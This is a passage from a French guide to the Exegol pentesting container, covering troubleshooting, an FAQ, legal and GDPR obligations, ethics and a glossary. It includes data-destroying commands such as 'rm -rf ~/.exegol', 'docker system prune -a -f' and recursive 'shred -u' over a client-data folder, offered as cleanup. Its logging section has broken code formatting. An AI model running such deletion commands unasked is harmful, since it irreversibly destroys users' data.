Si vous rencontrez des problèmes persistants, vous pouvez réinitialiser Exegol :

```
# Arrêter tous les conteneurs Exegol
exegol stop --all

# Supprimer tous les conteneurs Exegol
exegol remove --all

# Désinstaller toutes les images Exegol
exegol uninstall --all

# Supprimer les fichiers de configuration
rm -rf ~/.exegol

# Réinstaller Exegol
pip3 uninstall -y exegol
pip3 install exegol
```

Vérification de l'état d'Exegol

Pour vérifier l'état actuel d'Exegol :

```
# Vérifier la version d'Exegol
exegol version

# Vérifier les images disponibles
exegol info

# Vérifier les conteneurs en cours d'exécution
docker ps

# Vérifier les logs d'un conteneur
docker logs <container_id>
```

Mise à jour d'Exegol

Pour mettre à jour Exegol vers la dernière version :

```
# Mettre à jour le wrapper
pip3 install --upgrade exegol

# Mettre à jour les images
exegol update full

# Mettre à jour les ressources
exegol update resources
```

Libération d'espace disque

Les images Docker peuvent occuper beaucoup d'espace disque. Pour libérer de l'espace :

```
# Supprimer les conteneurs inutilisés
docker container prune -f

# Supprimer les images inutilisées
docker image prune -f

# Supprimer les volumes inutilisés
docker volume prune -f

# Nettoyage complet (attention, cela supprime tout ce qui n'est
pas utilisé)
docker system prune -a -f
```

FAQ

Questions générales

Q : Quelle est la différence entre Exegol et Kali Linux ?

R : Exegol et Kali Linux sont tous deux des environnements conçus pour la sécurité offensive, mais ils diffèrent sur plusieurs points : - Exegol utilise Docker, ce qui le rend plus léger et portable - Exegol peut fonctionner sur n'importe quel système d'exploitation hôte - Exegol offre une meilleure isolation entre les projets grâce aux conteneurs - Exegol est plus facilement personnalisable et extensible - Kali Linux est une distribution complète avec une interface graphique native - Kali Linux peut être plus adapté pour une utilisation sur du matériel dédié

Q : Puis-je utiliser Exegol pour des tests en production ?

R : Oui, Exegol est conçu pour être utilisé dans des environnements de production pour des tests de pénétration légitimes. Cependant, assurez-vous toujours d'avoir les

autorisations nécessaires avant de réaliser des tests de sécurité sur des systèmes en production.

Q : Exegol est-il adapté aux débutants ?

R : Exegol peut être utilisé par des débutants, mais une connaissance de base de Linux, Docker et des concepts de sécurité est recommandée. Ce guide est conçu pour aider les débutants à prendre en main Exegol, mais une certaine courbe d'apprentissage est à prévoir.

Q : Comment contribuer à Exegol ?

R : Vous pouvez contribuer à Exegol de plusieurs façons : - Signaler des bugs ou proposer des améliorations sur GitHub - Contribuer au code source via des pull requests - Partager vos scripts et outils personnalisés avec la communauté - Rédiger des tutoriels ou des articles sur l'utilisation d'Exegol

Questions techniques

Q : Puis-je utiliser Exegol sur un Raspberry Pi ou un appareil ARM ?

R : Oui, Exegol prend en charge l'architecture ARM. Vous pouvez spécifier l'architecture lors de l'installation :

```
exegol install full --arch arm64
```

Q : Comment accéder à un périphérique USB depuis Exegol ?

R : Pour accéder à un périphérique USB, démarrez Exegol avec l'option `--device` :

```
exegol start mon-conteneur full --device /dev/ttyUSB0
```

Q : Comment partager des fichiers entre l'hôte et le conteneur Exegol ?

R : Exegol configure automatiquement plusieurs dossiers partagés : - `/workspace` est lié à `~/.exegol/workspaces/[nom_du_conteneur]` sur l'hôte - `/opt/resources` est lié à `~/.exegol/resources` sur l'hôte - `/opt/my-resources` est lié à `~/.exegol/my-resources` sur l'hôte

Vous pouvez également ajouter des volumes supplémentaires :

```
exegol start mon-conteneur full --volume /chemin/local:/chemin/conteneur
```

Q : Comment utiliser Exegol avec un VPN ?

R : Pour utiliser Exegol avec un VPN, vous avez plusieurs options : 1. Exécuter le client VPN sur l'hôte et utiliser l'option `--host-network` (Linux uniquement) 2. Installer un client VPN dans le conteneur Exegol 3. Utiliser l'option `--vpn` pour monter automatiquement les fichiers de configuration OpenVPN :

```
exegol start mon-conteneur full --vpn /chemin/vers/config.ovpn
```

Q : Comment augmenter les ressources allouées à Exegol ?

R : Les ressources allouées à Exegol dépendent de Docker. Sur Docker Desktop (Windows/macOS), vous pouvez ajuster les ressources dans les paramètres de l'application. Sur Linux, Docker utilise par défaut toutes les ressources disponibles.

Questions sur les outils

Q : Comment installer un outil qui n'est pas inclus dans Exegol ?

R : Vous pouvez installer des outils supplémentaires de plusieurs façons : 1. Installation temporaire dans un conteneur :

```
apt update && apt install -y outil
```

1. Installation permanente via un Dockerfile.local (voir la section Personnalisation avancée)
2. Installation dans votre dossier my-resources :

```
git clone https://github.com/auteur/outil.git ~/.exegol/my-resources/tools/outil
```

Q : Comment mettre à jour un outil spécifique ?

R : Pour mettre à jour un outil spécifique : 1. Pour les outils installés via apt :

```
apt update && apt install --only-upgrade outil
```

1. Pour les outils Python :

```
pip3 install --upgrade outil
```

1. Pour les outils Git :

```
cd /opt/tools/outil && git pull
```

Q : Certains outils ne fonctionnent pas comme prévu, que faire ?

R : Si un outil ne fonctionne pas comme prévu : 1. Vérifiez que toutes les dépendances sont installées 2. Consultez la documentation officielle de l'outil 3. Vérifiez s'il existe des problèmes connus sur GitHub 4. Essayez d'exécuter l'outil avec des options de débogage ou en mode verbeux 5. Si le problème persiste, signalez-le sur le GitHub d'Exegol

Cette section de dépannage et FAQ devrait vous aider à résoudre la plupart des problèmes courants que vous pourriez rencontrer lors de l'utilisation d'Exegol. Si vous rencontrez un problème qui n'est pas abordé ici, n'hésitez pas à consulter la documentation officielle ou à demander de l'aide à la communauté Exegol.

Bonnes pratiques et conformité

L'utilisation d'outils de sécurité offensive comme Exegol implique une grande responsabilité. Cette section aborde les aspects légaux, éthiques et les bonnes pratiques à suivre lors de l'utilisation d'Exegol pour des tests de pénétration.

Aspects légaux

Cadre juridique en France

En France, les tests d'intrusion sont encadrés par plusieurs textes législatifs :

1. **Loi n° 2004-575 du 21 juin 2004 pour la confiance dans l'économie numérique (LCEN)**
2. Article 323-1 à 323-7 du Code pénal : sanctionne l'accès ou le maintien frauduleux dans un système informatique
3. Les peines peuvent aller jusqu'à 3 ans d'emprisonnement et 100 000 € d'amende
4. **Règlement Général sur la Protection des Données (RGPD)**
5. Impose des obligations strictes concernant le traitement des données personnelles

6. Exige des mesures techniques et organisationnelles pour assurer la sécurité des données

7. **Loi n° 88-19 du 5 janvier 1988 relative à la fraude informatique (Loi Godfrain)**

8. Sanctionne l'intrusion dans les systèmes informatiques sans autorisation

9. Sanctionne également la modification ou la suppression de données

⚠ Attention : Pour être légal, un test d'intrusion doit **impérativement** être réalisé avec l'autorisation explicite du propriétaire du système testé. Cette autorisation doit être : - Écrite - Préalable au test - Précise sur le périmètre et les méthodes autorisées - Limitée dans le temps - Signée par une personne habilitée à donner cette autorisation

Autorisation préalable

Avant de commencer tout test avec Exegol, assurez-vous d'avoir :

1. **Un mandat de test clair** qui précise :
 2. Le périmètre technique (adresses IP, noms de domaine, applications)
 3. Les types de tests autorisés et interdits
 4. La période de test
 5. Les contacts en cas d'incident
 6. Les procédures d'escalade
7. **Une clause de non-poursuite** qui protège le pentesteur contre d'éventuelles poursuites judiciaires si le test est réalisé dans le cadre défini.
8. **Une analyse d'impact** pour les tests qui pourraient affecter des services critiques ou des données sensibles.

Voici un exemple simplifié de clause d'autorisation :

Je soussigné(e) [Nom, Prénom], agissant en qualité de [Fonction] de la société [Nom de la société], autorise [Nom du pentesteur/de la société de pentesting] à effectuer des tests d'**intrusion sur les systèmes informatiques suivants : [Liste précise des systèmes]**.

Ces tests seront réalisés du [date de début] au [date de fin], et pourront inclure [types de tests autorisés : scan de ports, tests d'injection, etc.].


Sont explicitement exclus du périmètre : [systèmes ou types de tests interdits].

Fait à [Lieu], le [Date]
Signature

Responsabilité juridique

En tant que pentesteur utilisant Exegol, vous êtes responsable de :

1. **Respecter le périmètre défini** dans l'autorisation
2. **Éviter les dommages** aux systèmes testés
3. **Protéger les données sensibles** auxquelles vous pourriez avoir accès
4. **Signaler immédiatement** tout incident ou impact non prévu
5. **Documenter rigoureusement** toutes vos actions

 **Attention** : Le fait d'utiliser des outils comme Exegol à des fins malveillantes ou sans autorisation est un délit pénal, même dans un contexte éducatif ou de recherche.

Journaux, anonymisation, divulgation responsable

Gestion des journaux

La tenue de journaux détaillés est essentielle pour : - Documenter les actions réalisées - Prouver le respect du périmètre - Faciliter la reproduction des résultats - Permettre l'analyse post-mortem en cas d'incident

Bonnes pratiques pour la gestion des journaux :

1. **Automatiser la collecte** des journaux : ``` ` bash # Enregistrer une session shell script -f /workspace/logs/session-$(date +%Y%m%d-%H%M%S).log`

Utiliser tee pour capturer la sortie des commandes `nmap 192.168.1.1 | tee /workspace/logs/nmap-scan.log `` ``

1. **Horodater les actions**: `bash # Ajouter un timestamp à chaque commande export PROMPT_COMMAND='echo -e "\n[$(date +%Y-%m-%d\ %H:%M:%S)] $(pwd)" >> /workspace/logs/history.log'`
2. **Sauvegarder régulièrement** les journaux en dehors du conteneur: `bash # Copier les journaux vers un emplacement sécurisé cp -r /workspace/logs/ /opt/my-resources/client-xyz-logs/`
3. **Chiffrer les journaux sensibles**: `bash # Chiffrer un fichier de journal gpg --symmetric --cipher-algo AES256 /workspace/logs/credentials.log`

Anonymisation des données

Lors des tests, vous pourriez accéder à des données personnelles ou sensibles. L'anonymisation est cruciale pour respecter le RGPD :

1. **Anonymiser les captures d'écran :**

2. Flouter les informations personnelles (noms, emails, téléphones)

3. Masquer les identifiants et mots de passe

4. Remplacer les données réelles par des placeholders

5. **Anonymiser les données dans les rapports :** bash # Exemple de script

```
Python simple pour anonymiser des adresses email python3 -c
'import re,sys; print(re.sub(r"[a-zA-Z0-9_+-.]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-]+", "user@example.com", sys.stdin.read()))' <
rapport.txt > rapport_anonymise.txt
```

6. **Supprimer les données sensibles** après le test : `` bash # Suppression sécurisée de fichiers shred -u fichier_sensible.txt

```
# Nettoyage complet d'un dossier find /workspace/client-data -type f -exec shred -u {} \;
````
```

## Divulgence responsable

Si vous découvrez des vulnérabilités lors de vos tests, suivez ces principes de divulgation responsable :

1. **Informez immédiatement** le client ou le responsable désigné

2. **Documenter précisément** la vulnérabilité et les étapes pour la reproduire

3. **Proposer des mesures d'atténuation** ou des correctifs

4. **Respecter les délais** convenus avant toute divulgation publique

5. **Ne jamais exploiter** une vulnérabilité au-delà de ce qui est nécessaire pour la démontrer

Exemple de processus de divulgation responsable :

1. **Découverte** : Documentation de la vulnérabilité

2. **Notification** : Contact du responsable sécurité

3. **Confirmation** : Vérification et validation de la vulnérabilité

4. **Correction** : Développement et déploiement d'un correctif

5. **Vérification** : Test du correctif

6. **Divulgence** : Publication coordonnée (si applicable)

# Bonnes pratiques opérationnelles

## Avant le test

1. **Préparation rigoureuse :**
2. Définir clairement les objectifs du test
3. Identifier les systèmes critiques nécessitant une attention particulière
4. Préparer les outils et scripts nécessaires
5. Vérifier que toutes les autorisations sont en place
6. **Analyse des risques :**
7. Évaluer l'impact potentiel de chaque technique de test
8. Prévoir des procédures de rollback en cas de problème
9. Identifier les heures les moins risquées pour les tests intrusifs
10. **Communication :**
11. Établir des canaux de communication clairs avec les équipes techniques
12. Définir les points de contact en cas d'urgence
13. Informer les parties prenantes du calendrier des tests

## Pendant le test

1. **Approche progressive :**
2. Commencer par les tests les moins intrusifs
3. Augmenter progressivement l'intensité des tests
4. Surveiller constamment l'impact sur les systèmes
5. **Documentation en temps réel :**
6. Documenter chaque action et son résultat
7. Capturer des preuves (screenshots, logs, etc.)
8. Noter les observations importantes
9. **Vigilance constante :**
10. Surveiller les signes d'instabilité des systèmes
11. Être prêt à interrompre un test si nécessaire
12. Respecter scrupuleusement le périmètre autorisé

## Après le test

1. **Nettoyage :**
2. Supprimer tous les outils, backdoors ou comptes créés
3. Restaurer les configurations modifiées
4. Vérifier qu'aucune trace persistante n'a été laissée
5. **Rapport détaillé :**
6. Documenter toutes les vulnérabilités découvertes
7. Fournir des preuves de concept
8. Proposer des recommandations concrètes
9. Inclure une évaluation de la criticité des vulnérabilités
10. **Debriefing :**
11. Présenter les résultats aux parties prenantes
12. Expliquer les implications techniques et business
13. Répondre aux questions et clarifier les points complexes

## Conformité RGPD

Le RGPD impose des obligations spécifiques concernant le traitement des données personnelles, y compris dans le cadre des tests de sécurité :

1. **Base légale :**
2. S'assurer que le traitement des données personnelles pendant le test repose sur une base légale (généralement l'intérêt légitime)
3. Documenter cette base légale
4. **Minimisation des données :**
5. Limiter l'accès et la collecte aux données strictement nécessaires
6. Éviter de copier ou d'extraire des données personnelles réelles
7. **Sécurité du traitement :**
8. Chiffrer les données sensibles
9. Limiter l'accès aux résultats des tests
10. Utiliser des canaux sécurisés pour la transmission des rapports
11. **Durée de conservation :**

12. Définir une durée de conservation limitée pour les données collectées
13. Supprimer les données après la fin de l'engagement
14. **Notification des violations :**
15. En cas d'incident impliquant des données personnelles, informer le responsable de traitement dans les 72 heures

### Exemple de clause RGPD pour un rapport de test

Conformité RGPD :

Ce rapport de test d'intrusion a été réalisé dans le respect du Règlement Général sur la Protection des Données.

- Base légale : Intérêt légitime (sécurisation des systèmes)
- Données personnelles traitées : [Types de données]
- Mesures de sécurité appliquées : [Chiffrement, anonymisation, etc.]
- Durée de conservation : Les données collectées seront supprimées le [date]
- Destinataires : Ce rapport est destiné uniquement à [liste des destinataires autorisés]

## Éthique et responsabilité

Au-delà des aspects légaux, l'utilisation d'Exegol et d'autres outils de sécurité offensive implique une responsabilité éthique :

1. **Ne pas nuire :**
2. Privilégier les techniques non destructives
3. Éviter les tests qui pourraient causer des interruptions de service
4. Arrêter immédiatement un test qui cause des dommages imprévus
5. **Respecter la confidentialité :**
6. Ne pas divulguer les vulnérabilités découvertes à des tiers non autorisés
7. Protéger les informations sensibles du client
8. Ne pas utiliser les connaissances acquises à des fins malveillantes
9. **Améliorer la sécurité globale :**
10. Partager les connaissances et techniques (sans révéler d'informations client)
11. Contribuer à la communauté de la sécurité
12. Éduquer les clients sur les bonnes pratiques

### 13. Développement professionnel :

- 14. Se tenir informé des dernières menaces et techniques
- 15. Améliorer constamment ses compétences
- 16. Obtenir des certifications reconnues (OSCP, CREST, etc.)

L'adhésion à ces principes éthiques et légaux est essentielle pour maintenir la confiance dans la profession de testeur d'intrusion et garantir que les outils comme Exegol sont utilisés de manière responsable et bénéfique pour la sécurité informatique globale.

## Conclusion

Au terme de ce guide complet sur Exegol, nous avons exploré en profondeur cet environnement de cybersécurité offensive puissant et flexible. De l'installation initiale aux cas d'usage avancés, en passant par la personnalisation et l'intégration dans des pipelines CI/CD, nous avons couvert l'ensemble des aspects nécessaires pour maîtriser Exegol dans un contexte professionnel.

### Récapitulatif des points clés

Exegol se distingue par plusieurs caractéristiques qui en font un outil de choix pour les professionnels de la sécurité :

1. **Architecture conteneurisée** : Contrairement aux distributions traditionnelles comme Kali Linux, Exegol utilise Docker pour offrir légèreté, isolation et portabilité.
2. **Modularité** : Les différentes images disponibles (full, light, web, ad...) permettent d'adapter l'environnement à chaque type de mission.
3. **Richesse en outils** : Exegol intègre une collection complète d'outils préinstallés et préconfigurés, couvrant tous les aspects des tests de pénétration.
4. **Personnalisation avancée** : La possibilité d'étendre Exegol avec des outils personnalisés via Dockerfile.local offre une flexibilité inégalée.
5. **Persistance des données** : Le système de volumes partagés permet de conserver les données entre les sessions et de les organiser efficacement.
6. **Intégration DevSecOps** : Exegol s'intègre parfaitement dans des pipelines CI/CD pour automatiser les tests de sécurité.

# Évolution des pratiques de sécurité offensive

L'émergence d'outils comme Exegol reflète l'évolution des pratiques en matière de sécurité offensive :

1. **Standardisation des environnements** : Les environnements conteneurisés permettent de garantir la reproductibilité des tests et d'éviter les problèmes de "ça marche sur ma machine".
2. **Intégration de la sécurité dans le cycle de développement** : L'approche DevSecOps, facilitée par des outils comme Exegol, permet d'identifier et de corriger les vulnérabilités plus tôt dans le cycle de développement.
3. **Spécialisation des outils** : Les images spécialisées d'Exegol (web, ad, osint...) reflètent la tendance à la spécialisation des compétences en cybersécurité.
4. **Collaboration accrue** : Les environnements standardisés facilitent la collaboration entre les équipes de sécurité et de développement.
5. **Automatisation croissante** : L'intégration d'Exegol dans des pipelines CI/CD illustre la tendance à l'automatisation des tests de sécurité.

## Perspectives d'avenir

Le domaine de la sécurité offensive continue d'évoluer rapidement, et Exegol est bien positionné pour s'adapter à ces évolutions :

1. **Intelligence artificielle et sécurité** : L'intégration d'outils basés sur l'IA pour l'analyse de vulnérabilités et la génération d'exploits est une tendance émergente.
2. **Sécurité du cloud natif** : Les tests de sécurité des infrastructures cloud nécessitent des outils spécialisés, un domaine où Exegol pourrait se développer davantage.
3. **Sécurité des conteneurs et du Kubernetes** : Avec l'adoption croissante des architectures basées sur les conteneurs, les outils de test spécifiques à ces environnements deviennent essentiels.
4. **Sécurité des IoT et des systèmes embarqués** : Ces domaines représentent de nouveaux défis pour la sécurité offensive, nécessitant des outils adaptés.
5. **Conformité et réglementation** : L'évolution constante des réglementations en matière de cybersécurité (NIS2, DORA, etc.) influencera les pratiques de test et les outils utilisés.



## Mot de la fin

Exegol représente une avancée significative dans le domaine des outils de sécurité offensive, combinant la puissance des distributions spécialisées avec la flexibilité des conteneurs Docker. Son adoption croissante au sein de la communauté des professionnels de la sécurité témoigne de sa pertinence et de son efficacité.

Cependant, il est important de rappeler que la maîtrise des outils ne remplace pas la compréhension des concepts fondamentaux de la sécurité informatique. Exegol est un moyen, non une fin en soi. Son utilisation doit s'inscrire dans une démarche éthique et responsable, respectueuse du cadre légal et des bonnes pratiques de la profession.

En définitive, Exegol est plus qu'un simple outil : c'est un écosystème complet qui continue d'évoluer grâce à sa communauté active. En contribuant à son développement, en partageant vos expériences et en respectant les principes éthiques de la sécurité offensive, vous participez à l'amélioration collective de la sécurité informatique.

Que votre parcours avec Exegol soit aussi enrichissant que sécurisé !

## Glossaire

**Active Directory (AD)** : Service d'annuaire développé par Microsoft pour les réseaux Windows, stockant des informations sur les objets du réseau et facilitant leur localisation et leur sécurisation.

**API (Application Programming Interface)** : Ensemble de définitions et de protocoles qui facilite la création et l'intégration de logiciels d'applications.

**APT (Advanced Persistent Threat)** : Type d'attaque informatique où un accès non autorisé à un système est maintenu pendant une longue période, souvent pour voler des données.

**BloodHound** : Outil de cartographie des relations dans Active Directory, utilisé pour identifier les chemins d'attaque potentiels.

**C2 (Command and Control)** : Infrastructure utilisée par les attaquants pour communiquer avec les systèmes compromis.

**CI/CD (Continuous Integration/Continuous Deployment)** : Pratique de développement logiciel consistant à intégrer fréquemment les modifications de code et à automatiser le déploiement.

**Conteneur** : Unité standard de logiciel qui empaquette le code et toutes ses dépendances pour que l'application s'exécute rapidement et de manière fiable d'un environnement informatique à un autre.

**CrackMapExec** : Outil de post-exploitation conçu pour évaluer la sécurité des réseaux Windows.

**DAST (Dynamic Application Security Testing)** : Méthode de test de sécurité qui analyse une application en cours d'exécution pour identifier les vulnérabilités.

**DevSecOps** : Approche de développement logiciel qui intègre la sécurité dès le début du cycle de développement.

**Docker** : Plateforme permettant de développer, expédier et exécuter des applications dans des conteneurs.

**Dockerfile** : Fichier texte contenant toutes les commandes nécessaires pour assembler une image Docker.

**Exegol** : Environnement de cybersécurité offensive basé sur Docker, offrant une collection d'outils préinstallés et préconfigurés.

**Exploit** : Code ou technique permettant d'exploiter une vulnérabilité dans un système informatique.

**GitHub Actions** : Fonctionnalité de GitHub permettant d'automatiser des workflows directement depuis un dépôt GitHub.

**Hashcat** : Outil de récupération de mot de passe utilisant la puissance de calcul du CPU ou du GPU.

**Impacket** : Collection de classes Python pour travailler avec les protocoles réseau.

**Kerberoasting** : Technique d'attaque ciblant le protocole d'authentification Kerberos pour obtenir des hachages de mots de passe.

**LCEN (Loi pour la Confiance dans l'Économie Numérique)** : Loi française encadrant les activités sur internet, y compris certains aspects de la cybersécurité.

**Metasploit** : Framework d'exploitation utilisé pour développer et exécuter des exploits contre des systèmes distants.

**Nmap** : Outil de découverte réseau et d'audit de sécurité utilisé pour scanner des ports et identifier des services.

**OSINT (Open Source Intelligence)** : Collecte et analyse d'informations provenant de sources publiquement disponibles.

**Pentesting (Test de pénétration)** : Pratique consistant à tester un système informatique, un réseau ou une application web pour trouver des vulnérabilités qu'un attaquant pourrait exploiter.

**Pivoting** : Technique permettant d'utiliser un système compromis comme point de rebond pour accéder à d'autres systèmes du réseau.

**Privilege Escalation (Escalade de privilèges)** : Processus d'exploitation d'une vulnérabilité pour obtenir des niveaux d'accès plus élevés à un système.

**Proxy** : Serveur intermédiaire entre un client et un serveur de destination, souvent utilisé pour l'anonymat ou la sécurité.

**Red Team** : Équipe qui simule des attaques réelles pour tester les défenses d'une organisation.

**RGPD (Règlement Général sur la Protection des Données)** : Règlement européen sur la protection des données personnelles.

**SAST (Static Application Security Testing)** : Méthode de test de sécurité qui analyse le code source sans l'exécuter.

**Shell** : Interface permettant d'accéder aux services d'un système d'exploitation.

**SMB (Server Message Block)** : Protocole réseau utilisé pour partager des fichiers, des imprimantes et d'autres ressources entre des ordinateurs.

**Tmux** : Multiplexeur de terminal permettant de diviser un terminal en plusieurs sessions.

**VPN (Virtual Private Network)** : Technologie créant une connexion chiffrée sur un réseau moins sécurisé.

**Wrapper** : Programme qui encapsule un autre programme pour en simplifier l'utilisation ou ajouter des fonctionnalités.

**ZSH** : Shell Unix offrant de nombreuses fonctionnalités avancées par rapport au shell Bash standard.

# Bibliographie & liens utiles

## Documentation officielle

- [Site officiel d'Exegol](#)
- [Documentation Exegol](#)
- [Dépôt GitHub Exegol](#)
- [Dépôt GitHub Exegol-images](#)

## Articles et tutoriels

- Vaadata. (2022). "Introduction to Exegol: An Environment Dedicated to Offensive Security". <https://www.vaadata.com/blog/introduction-to-exegol-an-environment-dedicated-to-offensive-security/>
- Login Sécurité. (2021). "Le Pentest de A à Z : méthodologie et bonnes pratiques". <https://www.login-securite.com/blog/le-pentest-de-a-a-z-methodologie-et-bonnes-pratiques>
- ANSSI. (2020). "Recommandations pour la réalisation de tests d'intrusion". <https://www.ssi.gouv.fr/guide/recommandations-pour-la-realisation-de-tests-dintrusion/>

## Livres et ressources d'apprentissage

- Kennedy, D., O'Gorman, J., Kearns, D., & Aharoni, M. (2021). Metasploit: The Penetration Tester's Guide. No Starch Press.
- Kim, P. (2018). The Hacker Playbook 3: Practical Guide To Penetration Testing. Secure Planet LLC.
- Allsop, W. (2017). Advanced Penetration Testing: Hacking the World's Most Secure Networks. Wiley.
- Offensive Security. (2020). Penetration Testing with Kali Linux. Offensive Security.

## Outils et frameworks

- [Docker Documentation](#)
- [Metasploit Framework](#)
- [BloodHound Documentation](#)
- [Impacket GitHub](#)
- [CrackMapExec GitHub](#)

## Ressources légales et éthiques

- [RGPD - Texte officiel](#)
- [Loi n° 2004-575 du 21 juin 2004 \(LCEN\)](#)

- [CNIL - Guide de la sécurité des données personnelles](#)
- [OWASP - Code d'éthique](#)

## Communautés et forums

- [Discord Exegol](#)
- [Reddit r/netsec](#)
- [Stack Exchange Information Security](#)
- [HackTheBox Forums](#)

## Index analytique

A - Active Directory, 56, 78, 92, 124 - Anonymisation, 168, 169 - APT (Advanced Persistent Threat), 42, 185

B - BloodHound, 54, 79, 80, 81, 124 - Bonnes pratiques, 166-173

C - CI/CD, 134-147 - Conteneur, 12, 18, 24, 36 - CrackMapExec, 54, 79, 82, 124

D - Dépannage, 148-165 - DevSecOps, 134, 147 - Docker, 12, 18, 24, 28, 36 - Dockerfile.local, 116, 117, 118

E - Escalade de privilèges, 78-85 - Exegol - Installation, 28-35 - Personnalisation, 116-133 - Premiers pas, 36-47

G - GitHub Actions, 134-147

I - Impacket, 54, 79, 82, 124 - Installation, 28-35

J - Journaux, 168, 169

K - Kerberoasting, 80, 81

L - LCEN, 10, 166, 167

M - Metasploit, 54, 55, 124

N - Nmap, 54, 72, 73, 124

O - Outils intégrés, 48-65

P - Personnalisation, 116-133 - Pivoting, 86-95 - Prérequis, 18-27

R - Red Team, 11, 12 - RGPD, 10, 166, 170, 171

S - Shell, 36, 37, 38 - SMB, 73, 79

T - Tmux, 46, 47

V - Volumes, 39, 40

Z - ZSH, 41, 42, 122, 123